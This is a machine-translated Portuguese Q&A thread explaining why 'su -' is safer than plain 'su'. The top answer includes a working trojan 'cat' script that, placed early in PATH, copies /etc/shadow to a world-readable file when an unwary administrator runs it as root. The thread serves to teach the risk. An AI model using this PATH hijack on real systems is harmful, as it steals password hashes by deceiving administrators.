Por que usamos su - e não apenas su?

Respostas:

241

su -chama um shell de logon após alternar o usuário. Um shell de login redefine a maioria das variáveis ​​de ambiente, fornecendo uma base limpa.

su apenas alterna o usuário, fornecendo um shell normal com um ambiente quase igual ao do usuário antigo.

Imagine, você é um desenvolvedor de software com acesso normal de usuário a uma máquina e seu administrador ignorante simplesmente não lhe dará acesso root. Vamos (espero) enganá-lo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Agora, você pergunta ao administrador por que não pode cato arquivo fictício na sua pasta pessoal, ele simplesmente não funciona!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Se o seu administrador não for inteligente ou um pouco preguiçoso, ele pode ir até sua mesa e tentar com seus poderes de superusuário:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Uau! Obrigado, super administrador!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Ele Ele.

Você talvez tenha notado que a $PATHvariável corrompida não foi redefinida. Isso não teria acontecido se o administrador o invocasse su -.

abanar
fonte
10
su --é o mesmo que su.
Mikel
12
- é um sinalizador que a maioria dos programas interpreta como "nada depois disso deve ser considerado um sinalizador". Útil para procurar coisas que começam com um traço.
David Mackintosh
2
Não se esqueça de definir um valor igual a umask000 ou ele não funcionará.
Lekensteyn
10
Pode-se também colocar um suarquivo dentro do PATH. Não é tão difícil imitar o comportamento do real su. O super-usuário tem sido descuidada qualquer maneira :-)
Stéphane Gimenez
10
su --NÃO é o mesmo que su -: --diz a um manipulador de opções getopt (s) (ou similar) para parar de processar a linha de comando para obter mais opções (útil por exemplo, se o resto contiver nomes de arquivos que poderiam começar com um '-'). Ou seja, no "rm -i - -f": -f é então tratado como um argumento regular, por isso aqui como o nome do arquivo para rm -i, e não como um additionnal -fopção para o rmcomando. Então su --é justo sue não su -! Assim, su --seria tão inseguro para o exemplo (engraçado e instrutivo) de givan by wag. Use su -.
Olivier Dulac
35

su -efetua o login completamente como root, enquanto sufaz com que você esteja fingindo ser root.

O exemplo mais óbvio disso ~é o diretório inicial do root, se você usar su -, mas o seu próprio diretório inicial, se o usar su.

Dependendo do seu sistema, também pode significar diferenças no prompt PATHou no arquivo de histórico.

Portanto, se você faz parte de uma equipe que administra um sistema e seu colega lhe dá um comando para executar, você sabe que funcionará da mesma forma se os dois estiverem usando su -, mas se os dois estiverem usando su, poderá haver diferenças devido à sua diferentes configurações de shell.

Por outro lado, se você deseja executar um comando como root, mas usando sua própria configuração, talvez suseja melhor para você.

Também não se esqueça sudo, que tem uma -sopção para iniciar um shell rodando como root. Obviamente, isso também tem regras diferentes e elas mudam dependendo da distribuição que você está usando.

Mikel
fonte
1
quando "su" eu recebo ~ e $ HOME avaliando para / root. O comportamento que você descreve é ​​específico para determinadas conchas ou versões do sistema operacional ou algo assim? É meu entendimento que ~ pode ser expandido pelo kernel. Eu tenho o zsh como meu shell (e do root).
21411 JasonWoof
Seu .bashrcou /etc/bashrcou /etc/profile.dscripts são configuração PATH. Procure if [ $UID -eq 0 ]ou algo assim.
Mikel
$USERpor exemplo, permanece inalterado.
Peterph
1
Que tal sudo su?
Simon Kuang
1
Seu exemplo não funciona para mim. Eu obtenho o mesmo diretório resolvido de qualquer maneira.
Daniel W.
1

Eu uso su - quando estou em um diretório como um usuário comum, mas quero mudar para o root e permanecer no mesmo diretório após a troca. Quando você usa su - ele alterna o usuário para root e também leva você para / root, que é o diretório inicial raiz.

Calvin Dike
fonte
Ou /ou o que quer que seja definido como o diretório inicial do root
Jeff Schaller
-1

A principal diferença é:

su - username configura o ambiente do shell como se fosse um logon limpo como o usuário especificado, acessa e usa variáveis ​​de ambiente de usuários especificadas,

su username apenas inicia um shell com as configurações atuais do ambiente para o usuário especificado.

Se o nome de usuário não for especificado com sue su -, a conta raiz será implícita como padrão.

Akhil MK
fonte